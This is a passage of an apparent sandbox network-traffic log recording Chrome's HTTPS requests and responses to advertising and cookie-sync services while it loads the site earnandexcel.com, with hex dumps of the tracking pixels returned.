must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-04-11 21:27:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.17	50445	54.239.33.159	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	453	OUT	GET /s/dcm?pid=a38a8ddf-19a7-4ab8-ba05-0a61de92a7e5&id= HTTP/1.1 Host: aax-eu.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.17	50375	108.138.115.149	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	497	OUT	GET /cdn/prod/config?src=600&u=https%3A%2F%2Fearnandexcel.com&pubid=38918095-8e45-4332-88bf-226b3514cb64 HTTP/1.1 Host: c.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:08 UTC	401	IN	HTTP/1.1 200 OK Content-Type: application/json;charset=UTF-8 Content-Length: 471 Connection: close Cache-Control: max-age=21550, s-maxage=21600 Date: Thu, 11 Apr 2024 21:27:07 GMT Server: Server X-Cache: Miss from cloudfront Via: 1.1 c790ffcab27717f283a6e87f31c6d65a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P3 X-Amz-Cf-Id: vUIqvndH3RPR4VyKUpZ21p4P0GnztUseYKyxXbv9LVgPrHTIELgL6g==
2024-04-11 21:27:08 UTC	471	IN	Data Raw: 7b 22 33 70 76 65 6e 64 6f 72 22 3a 22 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 20 28 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 29 20 7b 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 2e 5f 5f 6c 69 76 65 52 61 6d 70 5f 5f 20 3d 20 66 61 6c 73 65 3b 7d 7d 29 28 29 3b 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 20 28 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 29 20 7b 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 2e 5f 5f 70 75 62 63 6f 6d 6d 6f 6e 5f 5f 20 3d 20 66 61 6c 73 65 3b 7d 7d 29 28 29 3b 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 20 28 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 29 20 7b 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 2e 5f 5f 69 64 35 5f 5f 20 3d 20 66 61 6c 73 65 3b 7d 7d 29 28 29 3b 22 2c 22 33 70 6d 65 74 61 64 61 74 61 22 3a 22 5b 7b 5c 22 70 72 6f 70 65 Data Ascii: {"3pvendor":"(function(){if (window.apstag) {window.apstag.__liveRamp__ = false;}})();;(function(){if (window.apstag) {window.apstag.__pubcommon__ = false;}})();;(function(){if (window.apstag) {window.apstag.__id5__ = false;}})();","3pmetadata":"[{\"prope

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.17	50397	108.139.47.46	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	1301	OUT	GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&secure=1&dpi=396660830&iiqidtype=2&iiqpcid=001fa0cd-4d4e-4d5f-bf82-4211a8a61316&iiqpciddate=1712870818876&tsrnd=660_1712870818889&jsver=5.086&uh=%7B%220%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117%5C%22%22%2C%221%22%3A%22%3F0%22%2C%222%22%3A%22%5C%22Windows%5C%22%22%2C%223%22%3A%22%5C%22x86%5C%22%22%2C%224%22%3A%22%5C%2264%5C%22%22%2C%226%22%3A%22%5C%2210.0.0%5C%22%22%2C%227%22%3A%22%3F0%22%2C%228%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228.0.0.0%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%22%7D&ckls=true&ci=fqopx3euZ0&nc=false&trid=1978743940 HTTP/1.1 Host: sync1.intentiq.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IQver=1.9; intentIQ=fqopx3euZ0; intentIQCDate=1712870824861; IQPData=2626823365#1712870824861#0#1712870824861; ASDT=0; CSDT=UEQ6MTU1NzlfMCZVOWZyUUNC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.17	50385	18.205.145.170	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	717	OUT	GET /pixel.gif?ch=185&cm=IebHALZHwpD5VNKxRXavSHiL&redir=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D84%263pid%3D%7Bvisitor_id%7D&gdpr=0&gdpr_consent= HTTP/1.1 Host: aorta.clickagy.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.17	50458	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	1993	OUT	GET /AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=BUfXRQZEhxweRdAfAhPLSFcX1kQeQdVOUBPMeygg HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.17	50475	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	820	OUT	GET /w/1.0/sd?id=537073028&val=d3c52a71-4626-42f8-b765-7c4caff9dd34 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870823933947; pd=v2\|1712870819.5\|iKbwvPvMgahEgKkWg2gy.mmuYeSwrf8wI
2024-04-11 21:27:08 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:08 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:08 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.17	50496	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	1924	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODImdGw9MTU3NjgwMCZkcF9pZD0yMg==&piggybackCookie=7275991910677607931&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; pi=0:4; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823
2024-04-11 21:27:08 UTC	644	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_22=14911-7275991910677607931&KRTB&23150-7275991910677607931&KRTB&23527-7275991910677607931; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:07 GMT; path=/ Set-Cookie: PugT=1712870827; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:07 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:08 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.17	50428	67.202.105.21	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	980	OUT	GET /ps/?xi=10&us_privacy=&xu=4a756380-b7e0-40d8-87fd-f9b0074cc705 HTTP/1.1 Host: ssc-cms.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.17	50447	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	753	OUT	GET /idsync/ex/receive?partner_id=3355&partner_device_id=LUVR2A3B-N-5ZEP HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1712870811726; TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0; TapAd_3WAY_SYNCS=1!2469
2024-04-11 21:27:08 UTC	1101	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:08 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1712870811726;Expires=Mon, 10 Jun 2024 21:27:08 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0;Expires=Mon, 10 Jun 2024 21:27:08 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!2469;Expires=Mon, 10 Jun 2024 21:27:08 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:08 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.17	50504	52.71.183.211	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	824	OUT	GET /insync?gdpr=0&gdpr_consent=&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&vxii_pid=12&vxii_pid1=10067&vxii_rcid=a00077bb-d00a-41b9-9880-89d79196cebf HTTP/1.1 Host: thrtle.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mc=eyJpZCI6ImEwMDA3N2JiLWQwMGEtNDFiOS05ODgwLTg5ZDc5MTk2Y2ViZiIsImwiOjE3MTI4NzA4MjcxMjYsInQiOjF9
2024-04-11 21:27:08 UTC	353	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:08 GMT Content-Type: image/gif Content-Length: 43 Connection: close P3p: CP="NOI OUR BUS UNI COM NAV" Set-Cookie: mc=eyJpZCI6ImEwMDA3N2JiLWQwMGEtNDFiOS05ODgwLTg5ZDc5MTk2Y2ViZiIsImwiOjE3MTI4NzA4MjgzMDMsInQiOjF9; Path=/; Domain=thrtle.com; Expires=Mon, 28 Oct 2024 21:27:08 GMT; Secure; SameSite=None
2024-04-11 21:27:08 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.17	50500	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	607	OUT	GET /w/1.0/sd?id=540245193&val=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870823933947; pd=v2\|1712870819.5\|iKbwvPvMgahEgKkWg2gy.mmuYeSwrf8wI
2024-04-11 21:27:08 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:08 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:08 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.17	50501	18.164.99.9	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	2454	OUT	GET /e/dtb/bid?src=600&u=https%3A%2F%2Fearnandexcel.com%2F&pid=RW7HWVEjO3yIQ&cb=0&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22fc%22%3A%22USD%22%2C%22fp%22%3A100%2C%22id%22%3A%22sticky_outstream_desktop%22%2C%22mt%22%3A%22v%22%2C%22s%22%3A%5B%22300x169%22%5D%7D%2C%7B%22sd%22%3A%22adhesion_desktop%22%2C%22s%22%3A%5B%22728x90%22%5D%2C%22fc%22%3A%22USD%22%2C%22fp%22%3A23%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22149%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22149%22%5D%7D%5D%7D%7D%7D&sg=%7B%22ortb2%22%3A%7B%22site%22%3A%7B%22name%22%3A%22Earn%20and%20Excel%22%2C%22domain%22%3A%22earnandexcel.com%22%2C%22cat%22%3A%5B%22IAB9%22%5D%2C%22sectioncat%22%3A%5B%22IAB9%22%5D%2C%22pagecat%22%3A%5B%22IAB9%22%5D%2C%22page%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%22%2C%22ref%22%3A%22%22%2C%22mobile%22%3A1%2C%22privacypolicy%22%3A1%2C%22content%22%3A%7B%22cat%22%3A%5B%22IAB9%22%5D%2C%22language%22%3A%22en%22%2C%22data%22%3A%5B%7B%22name%22%3A%22gumgum.com%22%2C%22ext%22%3A%7B%22segtax%22%3A2%7D%2C%22segment%22%3A%5B%7B%22id%22%3A%22132%22%7D%5D%7D%5D%7D%2C%22keywords%22%3A%22earn%2Cprofessionals%2Cexcel%2Cskills%2Cvba%20course%2Cskill%2Cmarketing%2Cgame%20changer%2Cpowerpoint%20lesson%2Ccomplete%20package%2Cability%2Cprofessional%2Corder%22%2C%22ext%22%3A%7B%7D%7D%7D%7D&schain=1.0%2C1!mediavine.com%2Ca6b3ff189247621e2e58a04c0b9bf64b%2C1%2C%2C%2C&gpp=DBABzw~1---~BqgAAAAAAgA&sm=b3b84b5b-5556-4cb7-9339-43a43ae9e184&pubid=38918095-8e45-4332-88bf-226b3514cb64&gdpre=0&gdprl=%7B%22status%22%3A%22explicit-no-gdpr%22%2C%22enabled%22%3Afalse%7D HTTP/1.1 Host: aax.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.17	50493	68.67.160.137	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	1214	OUT	GET /getuid?https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Freceive%3Fpartner_id%3DAPPNEXUS%26partner_device_id%3D%24UID%26pt%3Df873d799-987f-45f5-8689-9e999756dca0%252Chttps%25253A%25252F%25252Fx.bidswitch.net%25252Fsync%25253Fdsp_id%25253D393%252526user_id%25253D0%252526ssp%25253Dpubmatic%252526bsw_param%25253D4a756380-b7e0-40d8-87fd-f9b0074cc705%252C HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=0LPhMhV4mNZIVH4yadR3w_7eHSzgx6thgqwxzJWE93ti0O1a040sXN70sT4qdZ96NyHUE82Lwk_pfdKLUxfl-l9wrACwU2TsHl48TqwRzi8.; uuid2=4283912458326592098

